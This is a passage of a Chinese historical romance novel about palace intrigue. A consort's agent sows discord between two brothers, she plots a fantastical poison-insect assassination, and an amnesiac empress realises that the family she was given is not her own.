之后两人均细细询问了彼此这么多年来的境遇。
段充说,他这些年一直跟着周二娘子,跟着这位张道恭的淑妃娘娘,没娶妻没生子没升官没发财,至今仍是孤家寡人一个,一辈子也只知道给周二娘子当个侍卫,守着她,护着她罢了。
韩孝民好一番叹息,说起自己的时候,提到他哥哥韩孝直娶了颍川公主,当上了驸马皇亲国戚,如今也位高权重,而他自己虽没什么功名官爵在身,但好歹也成了家、娶了妻,膝下也有两个儿子了。
段充自然很是恭喜。
韩孝民感慨万千:“当年周二娘子要嫁到洛阳去,说是要嫁给河间王做王妃,要在家里选几个侍卫护送她,本来选到的就是我,我不想去,就谎称有病推脱了,还是段老弟你主动去替了我……如今段老弟在外漂泊多年,也都是替我吃的这些苦。当年要不是段老弟替我做了这差事,只怕今时今日的我,还不知在哪里呢!”
段充不以为意:“韩二哥本就是有福之人,今时今日种种,都是韩二哥命中该有的造化。至于我么……”
至于他,能跟着周二娘子一辈子,就是他此生最大的造化了。
*
今日饮酒时,段充注意到韩孝民的脸色好像不大好看,很不痛快的样子。
他眸色沉了沉,状似无意地多问了两句。
这话顿时戳到了韩孝民的肠子里,也是借着一点酒意,韩孝民大着舌头就和段充等人痛骂起来,说他哥哥韩孝直如何如何苛刻小气,就连多赏士卒们一口酒肉吃都不肯等等。
又说,那长安的大魏皇帝命韩孝直在半年之内抓到张道恭,如今韩孝直满脑子都是想把这差事给了结了,哪里还管得旁人的死活。
这么一骂,加上边上的段充又若有若无地提起他们兄弟之前的一些龃龉,提起韩孝直对养母大余氏的“忘恩负义”,韩孝民真是气不打一处来,想到哪就是骂到哪。
骂韩孝直对大余氏这个母亲不敬,说大余氏就算是养条狗也知道只认一个主子,这韩孝直却连狗也不是。
又骂韩孝直娶的那个公主老婆,“算什么东西!狗娼妇生的!先冀州侯在世的时候最宠的就是她三姐姐,谁曾有眼看过她!如今她倒是当上公主了,也整日在我母亲面前摆公主架子,根本不拿我母亲当亲婆婆孝敬!”
还要骂一骂颍川公主的生母李太妃,“那老虔婆也素来不把我母亲放在眼里!还日日挑唆那颍川公主不许孝顺婆婆。只恨我没本事,否则早把这对娼妇母女打死解恨才是!”
连韩孝直和颍川公主所生的那个幼子也要被他骂上两句,“那小兔崽子眼看就是个活不长的病秧子,我这做叔父的竟然都管不得他!传出去,谁家有这样的道理?”
段充当即叹气,面上也是一副愤慨的神色:“韩二哥!二哥这些年也辛苦了,没少受这些人的闲气啊!”
他当然附和着韩孝民,一起翻旧账骂了骂韩孝直几句,无外乎也是说韩孝直此人素来没良心,不是能跟人同甘共苦的真兄弟。
说七八年前在冀州的时候,他们一起出去吃酒,韩孝直三番两次总是要偷溜着比别人多吃两口。
又说从前在冀州军营里,每每他们私下得了什么酒肉,总是拿出来兄弟们一起分了吃了,可是韩孝直却最喜欢背着兄弟们吃独食云云。
韩孝民被人这样附和着,自己也是越说越起劲,当下狠狠一拍桌子:“段老弟,你也看得出来是吧?!我那大哥韩孝直,呸,什么狗屁人品,我压根都不想认他当我的兄弟!”
段充垂眸将杯中浊酒一饮而尽,眼底笑意浮现。
说完了过去这些陈芝麻烂谷子的事,提到眼下,段充又轻笑道:“韩大司马一心忙着交州的战事,兴许也不只是因为害怕半年之内捉不到张道恭而被长安皇帝责罚呢。”
众人因问:“那还能是为什么?”
段充放下手中酒杯:“凭君莫话封侯事,一将功成万骨枯……韩大司马虽然舍不得在年关下赏赐兄弟们酒肉吃,可是对他自己的国公之位,倒是无比上心啊。诸位兄弟只知道长安皇帝命韩大司马半年内荡平张道恭余部,但难道不知道这长安皇帝的下一句话说的是什么吗?”
“——三月之前,若是韩大司马能在三月之前肃清张道恭残部,生擒张道恭,则封他为国公。”
韩孝民和几个军卒顿时愣住了。
段充不紧不慢地又倒了一杯酒:“诸位兄弟以为大司马是怕完不成皇帝的军令而被惩治,实际上,人家怕的,只是怕捞不到那国公爵位而已。”
“兄弟们为了大司马的国公爵位累死累活、九死一生,大司马竟然连酒肉都不愿意多赏赐几分。怎么比我那头当了亡国之君的前楚皇帝张道恭还克扣小气,啧。”
*
深夜,饮酒毕,段充辞别韩孝民等人,回到龙编县内向淑妃周婈珠复命。
这晚上张道恭宿在周婈珠处,段充不能直接进去和周婈珠回话,只得站在外头又候了半夜。
至第二日,张道恭从淑妃处起身离开,又被那薛贵妃缠了过去,段充这才得空进去亲自和周婈珠说上两句话。
听得段充所报,婈珠十分满意。
她幽幽地在屋内踱步一番,转瞬却又说道:
“不够!不够!只是这点挑拨还不够!你要让韩孝民彻底在心里和韩孝直恩断义绝,要把他彻底拉到和你在一边才行!”
婈珠思忖片刻,吩咐段充说:“下次再见到韩孝民,你一定要狠狠地和他挑拨,你要告诉他,今时今日他哥哥韩孝直和那颍川公主能凌驾在他们头上,都是因为周奉疆!如果周奉疆死了,如果颍川公主再也不是什么公主,韩孝直也不过是个亡国之臣,他们哪里还有资格去欺负他和他母亲?”
段充应下。
婈珠又阴毒地笑了笑,“如今咱们的手想要自己伸进长安,是怎么也伸不进去的。长安距离咱们路途遥远,相隔数千里,如果真的需要咱们做什么,其实什么都来不及。不管是安插一个眼线,还是送进去一份书信,我们都做不到了……唯一能靠的,还是韩孝直、韩孝民兄弟二人。”
一封书信、一点机密,怎样送进长安城才能丝毫不被人察觉?
那当然只有走官道了。
现下在交州的战事,韩孝直每隔三天上报长安朝廷一次,每次都是八百里加急的速度传回长安的。
来往的数位信使在驿站之间交替奔波,一封来自交州的军报,最快只需七八日便可传回数千里之外的都城。
身为交州主将、皇亲国戚,唯有经韩孝直之手传回长安的文书信件,才能沿途畅通无阻,无需被人拦截查看。
但这里头其实还隐藏了一个很大的疏漏。
那就是,正是因为韩孝直驸马的身份,因为他的妻子颍川公主有孕在身,十分金贵,所以,每一次他往长安发一份军报回去,都会顺带着给自己的妻子颍川公主寄一份家信,信使们会顺路将这些一起带回长安。
到长安后,军报被直接送进宫里,由皇帝亲自查看,驸马的家信则直接送入颍川公主府。
这中间,不论是军报还是家信,都不会再被其他人拆开检查一遍。
这是一个无人检查和管控的死角。
而且,既然驸马家信都能跟着军报一起寄回长安了,那么驸马的亲弟弟韩孝民给母亲妻子写两封信,跟着一起送回长安,一块送进颍川公主府里,这过分么?
也不过分吧?
驸马和公主的家信没人检查其中内容,那么又有谁会多此一举检查驸马的弟弟寄回来的家信呢?
也没人检查,没人在意。
——这些,都是段充之前从韩孝民口中诈出来的。
从交州到长安,已经被他们撕开了一条可以渗透的口子;那么如果从长安城到长安帝宫之内,也能再撕开一道口子,这是不是就说明他们可以直接把手伸到大魏皇后的跟前了?
是不是就说明他们可以暗中使人向大魏皇后传递什么东西、什么信件了?
恰巧,韩孝民的妻子冯氏身为公主的妯娌,沾着半个皇亲国戚的身份,仍然能做到这一点。
*
段充由衷叹服:“还是娘娘心思缜密,计谋深远,臣唯有拜服。”
婈珠高傲地笑了笑:“昔年我是我父亲的长女,自然也是众姐妹中最聪敏出色的,只可惜没托生在正妻的腹中罢了。”
第24章
周婈珠时常会回想起自己三四岁时候的事情。
那时候,她还是她父亲周鼎的唯一的女儿,也是他的长女。
周鼎的第一女是他一位没什么存在感的妾室所生,那个孩子也在出生不久后夭折。
直到半年多后,他的另一个妾室生下了他的第二女,彼时他膝下已有二三男嗣,婈珠这个女儿的到来,方是正好叫他儿女双全了起来。
——在赵夫人没有生下周鼎的第三女周媜珠之前,婈珠都是家中唯一的女孩儿,是得宠的女儿。
而那时婈珠的生母也还尚算有些得宠,所以连带着婈珠也过了短暂几年的众星捧月的日子。那是她生命中最难忘的一段岁月啊。
周鼎不溺爱那些儿子们,对他们往往是要求严苛,但是对婈珠却有几分宠爱,时常将年幼的她抱在膝上玩耍。
她对自己的幼年时代总有一个模糊的影子,有时午夜梦回,也会梦到昔年阖家家宴之时,那个三岁左右的自己坐在父亲的膝头,手里抓着一个父亲给她的玩具玩耍。
彼时家中其他人都战战兢兢地侍立在父亲跟前,那些兄长们更是大气不敢喘,可只有她是自在的,快活的,可以无忧无虑地在父亲怀里咯咯直笑。
父亲偶尔发怒问责兄长们的课业,兄长们两股颤颤快要吓得瘫软在地,而婈珠就能无视父亲的怒火,出声打断他的责骂,说自己想要吃桌上的一块糕点。
父亲就会顿时收敛了怒火,柔声哄她几句,取来一块甜糕塞进她的手里。
直到周媜珠的出生。
直到周媜珠从赵夫人的肚子里呱呱坠地开始,这一切就都变了。
起先听说嫡母赵氏生下一女时,婈珠的生母私下有些担心,又有些幸灾乐祸。
担心的是又一个女孩儿的出生,打破了婈珠“唯一女儿”的金贵身份,赵夫人的女儿可能会因此分走原本属于婈珠的一部分宠爱。
至于幸灾乐祸,那自然是暗中窃喜赵夫人生下的不是男胎。周鼎对她的肚子期待已久,她就只生了个没用的丫头片子出来,指不定不仅她要失宠,那个死丫头也不会得到冀州侯周鼎的多少疼爱。
听到生母和嬷嬷们躲在房中这样议论着,懵懵懂懂的婈珠好似真的安心了一些,她觉得哪怕有一个妹妹出生了,父亲也许也不会多么疼爱那嫡母所生的妹妹,父亲最疼爱的肯定还是她。
然而让婈珠永远也没有想到的是,妹妹的出生,不是“分走”了她的一部分宠爱,而是完全夺走了原先属于她的父爱。
不是分走,而是完全夺走。
即便周鼎对赵夫人没有生下嫡子而有所失望遗憾,但是面对他正妻所生的第一个孩子,他仍然十分疼爱,对这个女儿倾注了极大的爱意。
第三女刚一出生,他就在书房中苦思了整整一夜,为她珍而重之地取名“媜珠”,乃掌上明珠之意。
而在婈珠出生时,周鼎显然就从未这样用心过。
——她从前的名字,叫做“菱”,周菱。菱角的菱,卑贱之物罢了。
不过是因为得知她出生的消息时,周鼎的面前摆放了一盘新鲜的菱角,所以他便随口给她取了个“菱”的名字。
她是不值钱的菱角,而周媜珠是千金万金般贵重的“珍珠”。
同样是他的亲生女儿,在周鼎眼里,她们姐妹之间的差别,大概也就是如此了。
生母教她去和她父亲闹,问她父亲为什么给妹妹取名字这么用心,为什么妹妹是珍珠,而她就只是个菱角儿,父亲被她这么一闹,皱眉想了想,就又取了个“婈”字,给她改名“婈珠”。
婈珠,媜珠,这样听上去倒似乎是一对没什么差别的姐妹了。
不过,很快婈珠就知道了,哪怕她的生母再有心机,再会算计,有些东西,也不是她和周鼎哭哭闹闹几句就能算计来的。
比如说,因媜珠乃俪阳公主嫡孙女,为了彰显自己嫡女的尊贵地位,周鼎还借机向当时大楚的代宗皇帝替媜珠索要县主封号,代宗皇帝看在周鼎难得一次向朝廷进献了北地赋税的份上,便册封此女为馆陶县主。
馆陶县主。
——这个,是周婈珠能靠着哭哭啼啼闹几句就给自己也争一个县主的名号的么?
呵。
不仅仅是这个县主的名号,自周媜珠出生后,婈珠就再也没有爬上过她父亲的膝头了。
从此之后,周鼎的怀里、膝上,抱着的只有周媜珠一个人。
哪怕后来他的第四女、第五女、第六女也接连出生,他都没有再这样宠爱过一个女儿,他最宠爱的仍然是周媜珠。
可是周媜珠到底又比她强在哪里了呢?
除了出身,除了她们两人生母的地位差别之外,她到底有哪点不如周媜珠?为何命运要如此戏弄于她?
甚至,除去父亲周鼎这样偏心之外,就连当时的河间王张道恭也这样偏爱于周媜珠。
她至今记得张道恭年少时初来北地冀州就藩的样子,洛阳王孙,白衣公子,温润如玉,身上带着一股北地男子鲜少有过的文雅温和。
家中小娘子们都从未见过这般的人物,虽然还是懵懵懂懂的小女孩年纪,可仍旧很容易就在张道恭面前低头红了脸。
大家都想朝他跟前凑,可他在周家的几个姐妹里一眼就看中了周媜珠,之后也都只和周媜珠亲近。
对于旁人,哪怕她们也想尽办法朝他身上靠了,但他的态度却总是疏离而客气。
他也是那样宠爱媜珠,他会亲自教她习字作画,带她翻阅古籍典章,和她赏花游湖,给她讲长安洛阳那边的新鲜故事,逗得媜珠总是含羞带笑。
而她呢,她就是张道恭眼里一颗默默无闻的灰尘星子,什么也不是。
之前父亲为媜珠讨要县主封号,后来张道恭也要求娶她做河间王正妃,现在就连那乱臣贼子周奉疆,也要把皇后宝座捧到她面前来。
她是父亲周鼎的馆陶县主,是张道恭心中唯一的河间王妃,是周奉疆的赵皇后。
那她呢?
那她周婈珠呢?
她又算什么?算什么?为什么这些人都只爱周媜珠,为什么不管什么时候,周媜珠都总是过得比她更好?
*
到底顾忌着是在段充面前,周婈珠一忍再忍,终于忍下了那些会让她失态的神色。
她故作云淡风轻地敛了苦涩的笑意,回过头去瞥了段充两眼:
“这几年里,总跟在我跟前伺候,你也吃了不少的苦头,如今正好借着这个时机,你和那韩孝民凑在一块,也好在那私娼窠里松快松快。在外头走动,男人们聚在一起没有不要花钱的地方,这些钱你先拿着,跟他们一起吃喝了也好、|嫖|赌了也罢,花完了再跟我要罢。”
说罢她便从袖中取出一个有些褪色了的半旧荷包,里面零零碎碎还装着一些银子,扔在了段充的跟前。
段充诚惶诚恐地拾起那枚荷包,小心翼翼地放回一旁的茶几上:“臣不敢!臣没有……”
婈珠轻轻眨了下眼:“不敢什么?没有什么?”
“臣不敢在外行迹不端、嫖宿娼女。臣没有。这些银钱,臣也暂时用不上。”
他听到周淑妃似乎哼了声,少顷,她又问:“眼下你和韩孝民这般熟络,难道韩孝民就没提过要带你走么?你还继续留在我这里做事,韩孝民难道就没有什么疑心?”
韩孝民当然是提过这一茬的。
在他和段充第二次就在酒桌上把酒言欢之时,他便借着酒意苦劝段充道:“我说段老弟,你既然在这两头里来去自如,那还和那头的张道恭、周淑妃他们多啰嗦什么?索性你孤身一人,又没有什么妻儿家眷的牵挂,一走了之了便是!到了我们这儿,我虽不敢保你大富大贵加官进爵,可好歹有吃有喝、衣食无忧,不比跟着那丧家犬一样的张道恭划得来嘛!”
段充当时又是怎么回答韩孝民的呢?
他苦笑了下,低头放下酒杯,缓缓道:“弟且先谢过韩二哥的好意了。我如何不懂韩二哥的苦心?若是能一走了之,这些年跟着张道恭四处逃命,我何日何时何地不能走?可到底……”
他的声音愈发低了下去,“可到底二娘子怎么办?她身边还能放心使唤的奴仆婢子们,这一路上死的死散的散,只剩下我一个。我一走了之了,她怎么办?她还能使唤谁?”
韩孝民哈哈大笑,心中了然,当下不再多谈此事。
这是段充给韩孝民的答案。
但是此时面对周婈珠的询问,他只能说:“韩孝民确实曾经和臣提过此事,臣推脱说,其兄韩孝直为人苛刻计较,若是知道他将臣这样的人带回魏军军营,必会因此向他发难,臣不想给他添了麻烦,便就此作罢。韩孝民听完此言后,果然对其兄之不满越发溢于言表。”
婈珠颔首:“不错,你很聪明。”
段充走后,她一个人独自在房内坐下,神思浮动,手中一下下拨动着一件珍珠手钏儿。
这是她前两日在龙编县内一个老巫医手中收来的机窍玩意儿。那女巫医告诉她说,这珍珠手钏里有一枚珠子已经被悄悄挖空了,刚好能钻进去一只珍珠蛊虫,可把那蛊虫养在里头数月不死。
只消轻轻拨开珠子上的开关,那雪白如珍珠一般的小小蛊虫就会无声无息立马爬出来,朝人的肌肤骨肉里头钻去,轻易就能取人性命的。
雌虫会钻入男体内,而雄虫则喜钻入女体。
只不过,如今这件珍珠手钏里头还是空的,并没有蛊虫养在其中。
婈珠当时问了那女巫医一句:“现今还有没有这样的珍珠蛊虫了?能不能替我捉一对来?越快越好!我要的便是这样的东西!”
那女巫医窃窃地笑了笑,苍老面庞上的皱纹堆出阴狠而古怪的神情:
“娘娘也不能太心急了些,我们僚人的蛊,可不单单是养出来的虫子,咱们呐还要祭蛊的,这三斋四拜一番,少说也要等到开了春才能出蛊,哪里是说要就能现成取来的。”
婈珠一再催促:“那你速速替我去办成此事,越快越好!我要越快越好!”
女巫医神色微收,又试探地与婈珠说:“淑妃娘娘答应过老妇的,待事成之后,可千万要兑现才是。”
婈珠抬起下巴:“自然不会忘,等周奉疆那逆贼一死,我们大楚皇帝陛下收复中原,再度入主长安洛阳宫室,陛下届时感念你的功绩,至少要封你做九真国夫人,封你儿子为交州刺史。”
第25章
大约也是因闹过了那一场,媜珠和周奉疆好不容易再度重归于好,于是之后的几日里,两人便愈发如胶似漆了起来。
白日夜里,床上|床下,俱是如此。
同房合|欢之时,甚至还颇有了股小别胜新婚的味道。
当她有时无意间在他身|下|表现出些许抗拒和不安,他都会十分耐心地安抚她,一遍遍地和她保证说,他以后不会再那样对她了,他会对她很好的,那次只是个意外。
除却榻上之外,媜珠还能很真切地感觉到,周奉疆对她近来格外的温柔体贴,几乎到了堪称讨好的地步了。
他每日总会腾出更多的时间来陪伴她,继续挖空心思送她各种各样价值连城的珍宝首饰,还会时常寻来一些宫外民间街市上的奇巧东西来逗她开心,简直是用尽了手段想要弥合和她之间的那道裂痕,意图让两人之间的关系彻底恢复如初。
那日他暴怒时在床榻之间的粗暴对待,到底在她心里留下了一个恐怖的噩梦,而他素来自负,实际上根本不能容忍自己给她塑造这样的噩梦、不能接受自己在她心中一丁点不完美的形象。
一直以来,他都是一个最完美、最称职的丈夫,他也一直自诩没人会比他更爱她。他是她最好的归宿,最好的选择。
他怎么能容忍自己这样伤害过她、在她心中留下不堪回忆的恐惧?
还好,媜珠是能照单全收他的这些讨好的。
不跟他发脾气的时候,她柔顺又无害,是一只美丽的金丝雀,会安安静静地待在自己的金丝鸟笼里,吃着喂养的精细的食,迎合地接受旁人爱抚她靡丽的羽毛,也会偶尔娇声歌唱。
周奉疆最喜欢她的温顺。
虽然他时常怀念起她没有失忆时是多么鲜活明艳,但如果这“鲜活”的代价,是她恢复记忆后必然会和他反目成仇的话,那他宁愿她永远都只做一只乖巧的金丝雀。
呆呆笨笨、痴痴傻傻的,也没什么不好,总归他能护着她永生永世的天真纯粹,她并不需要想起过往那些不愉快的事情。
他们之间似乎真的完全回到了过去。
这天夜里,两人就寝时再度同房,彼时媜珠身上那点红肿破皮的伤处早已恢复如初。
周奉疆将她轻轻推倒在床榻上,俯身过来亲吻她,媜珠仍是下意识地偏头避了一下。
媜珠不明白为什么自己还是会做出这样本能一般的抗拒反应,但她敏锐地察觉到皇帝的动作顿了顿,神情也有些失望和落寞,于是她赶紧支起身体,雪白双臂环住他的脖颈,主动献上娇艳的唇瓣,印在他的下颌处,继而又辗转到他的唇上。
皇帝的神色缓和下来,也投入了和她的这一吻里。
等到两人的唇舌终于分开,他又将她从榻上拉了起来,将她摆弄地|跪|趴|在丝被上,随手扯开了她的寝衣系带。
因他的这个动作,媜珠低垂着抵在枕上的脑袋似乎又变得有些眩晕,她的手足忽然有些发凉,某些似真似假不知是否存在过的画面和记忆,也再度涌上她的眼前。
她不喜欢这个姿势,不喜欢这样跪在别人面前。
可是为什么呢?
*
……很多年前,在那个雪夜,她仓皇出嫁的夜晚,在那个自称是她兄长的男人残忍地以陌刀砍碎她的花轿、踹倒她的丈夫之后,在她的身上又发生了什么?
她恍惚间又想起来了。
那个男人羞辱殴打并赶走了她的丈夫,然后不顾她的反抗和哀求,一把拎着她把她塞进了他带来的马车轿子里,准备将她带回家中继续软禁起来,还说回家之后,他要好好管教她。
他的话说的很不好听,他说,如今她父亲既然不在了,那么长兄如父,身为她的兄长,以后都理应由他来好好管教她。
男人满身凛冽之气,语气寒凉,他厉声斥责她没规矩,婚姻大事,她借着长兄不在家中的时机,竟敢私自和野男人玩|淫|奔这一套,就是不知规矩礼数,把好好的女儿家的脸面都丢尽了。
当时的她哭得满面泪容,狼狈不堪,凌乱的发丝披散着黏在了她的脸颊上,让她的世界都陷入了一片混沌模糊中。
但她还是隐约看见,那男人带了一堆身披金甲的亲卫士卒来追她,白茫茫一片雪地里,几十匹披甲的骏马也扬首而立,高傲而沉默,骑在马上的亲卫们纷纷亮出同样是雪色的剑刃,气氛凝滞而寒凉,带着无声的威压之态。
雪,人,马,刃,都是静谧无声的。
其余人和马的眼睛,都在看着她。
只有她在哭,她疯了一般地哭泣着,求他放过她,求他放她走,她真的太想要嫁给自己的丈夫,想要跟自己的丈夫嫁去洛阳,她不想跟他回去,她也想要有自己的人生、自己的选择。
听到她还这样“不知悔改”,那男人越发暴怒,粗鲁地将她塞进了马车里,她被他推了一把,踉跄着扑倒着跪在了马车的地板上,华美的朱红织金婚服的裙摆也像开败了的糜艳的花朵,凌乱地层层堆叠在了地上。
还好,大约是他命人在马车的地板上铺上了一层柔软的毛绒绒的狐皮,马车里面还熏了蜜碳,温暖如春,她跪倒在地板上,膝盖并没有很痛。
虽然没有痛楚,可这并不影响她从中尝到的前所未有的屈辱感。
还不等她缓和过来,那男人随后也一身寒气地上了马车,媜珠挣扎着要爬起来,他却冷冰冰地伸出一掌将她纤薄的脊背按了下去,像按住一只垂死挣扎中的兔子,下一刻就要将她宰杀一般。
媜珠更加激烈地反抗起来,那人却腾出一只手,直接粗暴地扯掉了她身上华美嫁衣的腰带,像剥去一只兔子的皮那样,把她的嫁衣从她身上剥了下来,然后随手一扬,扔出了马车的窗外,命他的亲卫们拿去烧掉。
开窗的一瞬间,冰冷的寒风立刻朝马车内涌入,媜珠背对着他跪在地上,顿时浑身战栗,瑟瑟发抖地打了个寒战。
她觉得又羞耻又屈辱,至少在她曾经所接受过的教养里,她不能在自己丈夫之外的任何男人面前被人脱去衣服。
这样剥去她的外衣,本就是对她的羞辱。
哪怕没有伤及她的发肤血肉,可实际上的她在那一刻丝毫不啻于一只被剥皮的动物般痛苦。
她不明白这个男人为什么要这样对待她,他怎么可以这样对她?
明明之前,他对她也是很好的,他对她格外的上心,呵护她,宠爱她,为什么现在却变了呢?为什么男人可以转瞬之间就在她面前变得面目皆非?
还不等她的眼泪哭够,他仍旧在呵斥她、教训她。
大概他说了些什么,媜珠记不得了,只知道肯定不会是什么好听的话,他说她要是再不听话,他就把她关起来,关一辈子,他会亲手修剪掉她每一根不听话的反骨。
看看是她的骨气硬,还是他的手腕更硬。
媜珠抹了一把面上的泪珠,倔强不驯地回头望向他,一双极动人的眸子里盛满了泪珠:“你不如杀了我。你杀了我吧……”
她毫不畏惧地和他直视:“我视你为亲兄长一般,这些年来你扪心自问,我做你妹妹,有半点对你不敬重之处么?可是你呢?你又算什么兄长?你一次次毁了我的家、毁了我的婚约、我的人生……如果这就是你想要做的,那你不如直接杀了我吧。”
他大约十分容不得她对他的忤逆,见她再度“出言不逊”,对他言辞顶撞,他蓦然起身将她拽了过来,把她抵在马车的车壁上,重重地吻了上来,惩罚一般啃咬着她的唇瓣。
——这绝对不是一个兄长该对妹妹做的事。
如果说刚才他的那些举动,还能单纯解释为一个掌控欲极强的兄长对自己妹妹的强势和压制的话,那么他现在的所作所为,这个充满掠夺和强占气息的吻,则绝对早已超脱了正常兄妹的界限。
……他真的是她的兄长吗?他真的只是她的兄长吗?
媜珠忽然从这支离破碎地回忆中清醒了过来。
这一次并不是梦了,是她在清醒的状态下,神智不知被何事所触动,自然而然地回忆起来的记忆片段。
这都是真的。
实际上,早在上一次周奉疆粗暴逼她和他同房时,那天她跪在榻上,被迫承受着他粗鲁的动作,她的眼前便已经浮现过一次这样的景象。今天则已经是第二次了。
*
“媜媜?媜媜!”
察觉媜珠的走神,周奉疆止了动作,耐心地再度安抚着她。
他没有想太多,以为媜珠只是还没有从那场不堪的情事中走出来,于是便按捺下自己的心猿意马,一遍遍地哄着她放松些。
周奉疆对媜珠的娇气并不感到意外。
她从小就娇滴滴的,是被人捧在手心里长大的一樽瓷器美人,磕不得碰不得的,失忆之后,更是要小心翼翼把她含在嘴里护着才行。
原先这些年里,害怕刺激到她,他都没敢在床榻之间过多索取,唯恐让她受不住。
媜珠缓缓回过了神来,有些僵硬地在他怀中露出了一个柔软的笑:“陛下,妾无事。”
见她似乎好了些了,周奉疆的眸色沉了沉,哑声说了个好字,再度把她放回榻上。
*
这一番欢|爱极是酣畅,皇帝大约很是尽兴,云雨毕后,媜珠的脑袋倦怠着靠在他的腿上,眨了眨眼睛,低声开口对周奉疆说道:“陛下,年节前,妾能召见自己娘家的哥哥们入宫一趟么?”
赵媜珠的娘家有两个哥哥,一个是她同父同母的亲兄长,襄国夫人的儿子,另一个则是她二房婶母所生的堂哥。
赵皇后得宠,她的娘家女眷当然可以随时入宫看望皇后,享着无上的尊荣福泽。
但是,这也仅限于女眷。外男想要入宫,好歹也还是要提前知会皇帝一声的。
而且大约也是为了免人口舌多议论,自媜珠做皇后以来,娘家的男人们,不管是她的祖父、父亲叔父、哥哥还是那些年纪大了些的侄儿们,都没再擅入内宫看望过她。
这是媜珠第一次提出想要见娘家的哥哥,而且仅仅是见她的哥哥们。
周奉疆顿了下,同意了。不过他捏了捏媜珠的脸,多问了一句:“最近怎么想召两位国舅入宫说话了?”
媜珠的喉间轻轻吐出一口浊气,意味不明:“妾近来会想到从前和哥哥他们在一起的事情,想到很久没见哥哥们了,所以年节前想抽空见一面罢了。”
皇帝还是很温柔:“叫佩芝她们守在你跟前伺候你。”
*
媜珠想要很近很近地再看看自己的两个哥哥一次。
就一次就够了。
做皇后的这段时间里,每次见到父亲哥哥他们,都是在那庄严盛大的宫宴上,隔着规矩森严的座次,遥遥望上一眼罢了。
她确实都快忘了她的哥哥们是何种模样了。
那就再见一面吧。再见一面,只要一眼,她就能在心里给自己断定他们到底是不是她破碎记忆中见到的那个兄长。
哪怕还是没有见到记忆中那个男人的正脸,可她仿佛已经十分熟悉他周身的气息,和别的男人一比较,她就能分辨出两者的区别。
她被别的男人轻薄侮辱过,万一……如果那个男人不是她的兄长,那么那个男人会是谁?皇帝周奉疆知道这些么?
第26章
上一次媜珠召见母亲和婶母时,她娘家亲人的客套、恭敬和疏离,已经让她内心受伤失望过一次了。
这一次,大约是已经有了点心理准备,所以当媜珠第二日下午在椒房殿里见到她的两位兄长时,不管她的兄长对她是什么反应和态度,她的内心似乎都是平静的。
其实好像也没什么好多说的了。
——是在哪一刻察觉到的不对劲?在哪一刻终于做实了自己心底一直不愿意去承认的猜想呢?
亲兄长赵奂沦、堂兄赵奂溪恭恭敬敬地站在媜珠跟前数十步开外的地方,还未入椒房殿正殿,二人便诚惶诚恐地向媜珠跪地叩首请安问礼。
他们也是惧怕她这个皇后妹妹的。哪怕在让宫中宦官召他们进宫时,媜珠已经一再强调过今日只是兄妹小聚,不必多礼,随意即可,然而他们却还是小心谨慎,不敢有半处逾矩。
媜珠看着他们清瘦如竹的身形,看着他们那样温润柔和的神态,忽然间就已经什么都不想再多问了。
只是一眼,不需要任何的试探和犹豫,她就知道自己梦里的那个“兄长”绝对不是眼前两人中的任何一个。
两位兄长起身后,媜珠请他们入内小坐,开口还是先问起了她的父亲赵国公近来身体如何。
赵国公世子赵奂沦赶紧颔首道:“劳娘娘惦念父亲,父亲身体素来康健无忧,也皆是陛下和娘娘的福泽庇佑。”
看他提起自己父亲时那一副唯唯诺诺、毕恭毕敬的样子,便知道他极为敬重尊长,生生就是世家大族里自幼被儒法尊卑规训得老老实实的大孝子。
那么梦里的那个兄长是怎么跟媜珠,提起她的父亲的呢?他说的是,
——“你父亲死了,如今长兄为父,便该由我来管教你!”
媜珠猛然想到了这一点。
梦里的那个男人曾经说过,她的父亲已经死了。
她是没有父亲的。
正是因为没有父亲,所以“长兄为父”,面对他对她的种种|专|制与掌控,她才无法反抗。
*
还有两日就是除夕了。
这个年节宫里过得格外热闹,椒房殿内外更是被装饰一新,看上去一派花团锦簇,是极喜庆的氛围。
今日早晨,皇帝还带着媜珠一起换了他们寝殿内殿两根梁柱上贴着的对联,他同媜珠各题了上下联贴在左右,写的是“花间金屋藏娇色,镜中双璧照夜长”,用以谓他们帝后夫妻情意极深。
殿内还烧着温暖的银蜜炭,已然是温暖如春,媜珠身上还披着一件孔雀织金裘,其实甚至还觉得有些热了。
但好像也就是在这一瞬间,媜珠浑身再度被冰冷的寒意笼罩,让她觉得自己仿佛是回到了梦中的那个冬夜里。
媜珠什么都没再多说,只是随意问候了几件家中的琐事,而后赏赐了一些节礼,便叫他们回去了。
这一次,她除了终于意识到她梦中的那个兄长另有其人之外,更是乍然在心里领会到了另一个事实。
——她真的是赵氏女吗?她真的是北地冀州名门望族赵家的女儿吗?
梦里的人告诉过她,至少在她当年第一次出嫁时,她的父亲就已经过世了。
而如今的赵家,老爷子、赵国公和赵国公的兄弟,他们父子三人都还康康健健身体安泰的,……她的父亲不可能是赵家的任何人,她也不可能是赵氏女。
难怪这些年里,她总觉得自己和赵家人根本亲近不起来,难怪她所谓的生母襄国夫人提起她幼年的往事时几乎都是含含糊糊,说不出什么清晰的细节来。
那她到底是谁?她到底来自哪里?
她的父母、家族、兄长,又到底在何处?
说爱她的人,为何又以金屋筑笼,将她蒙骗在他精心编织的谎言里?
皇帝……周奉疆,他到底把她当成了什么?
赵家兄弟二人刚踏出椒房殿,媜珠平素喜欢抱在怀里的那只金丝猫跳下了房梁,竖着毛绒绒的蓬松大尾巴跳进了媜珠怀里撒娇。
此猫乃波斯国商人兜售过来的的番猫,因其双眸异色,如同金银,一向被视为祥瑞,也叫狮猫儿、波斯猫。
后来皇帝随口说了一句,说叫波斯猫不如金丝猫喜庆,宫人们后来遂都改称金丝猫。
媜珠的这只金丝猫是只母猫,性情同她的主人一样温顺,名叫“灿娘子”。
灿娘子在媜珠身边也有三四年的光阴了,它是前楚宫里养的御猫,后来前楚皇帝仓皇弃宫城而逃,这些名贵的猫儿狗儿无人问津,就不知辗转到多少人的手里了。
周奉疆那时在外头打仗,是旁人献给他一只,他转手命人送给了媜珠,说是怕她一人在家中无聊,用这猫来讨媜珠欢心的。
媜珠眼下心里装着这样大的心事,实际上并没有多少心情应付灿娘子的撒娇,只是一边神游在外,一边一下下木楞地抚着它油光水滑的毛发。
灿娘子有些不满媜珠的敷衍,在她怀里翻了个身,喵喵连叫数声,不停地甩着柔软的大尾巴蹭她。
媜珠蓦然低头望向灿娘子,忽然从它这般懵懂无知的天真眼神里想起了它的身世。
灿娘子的母亲,就是当年波斯商人从远洋海外带来的“番猫”,灿娘子是出生在波斯商人的船上的。
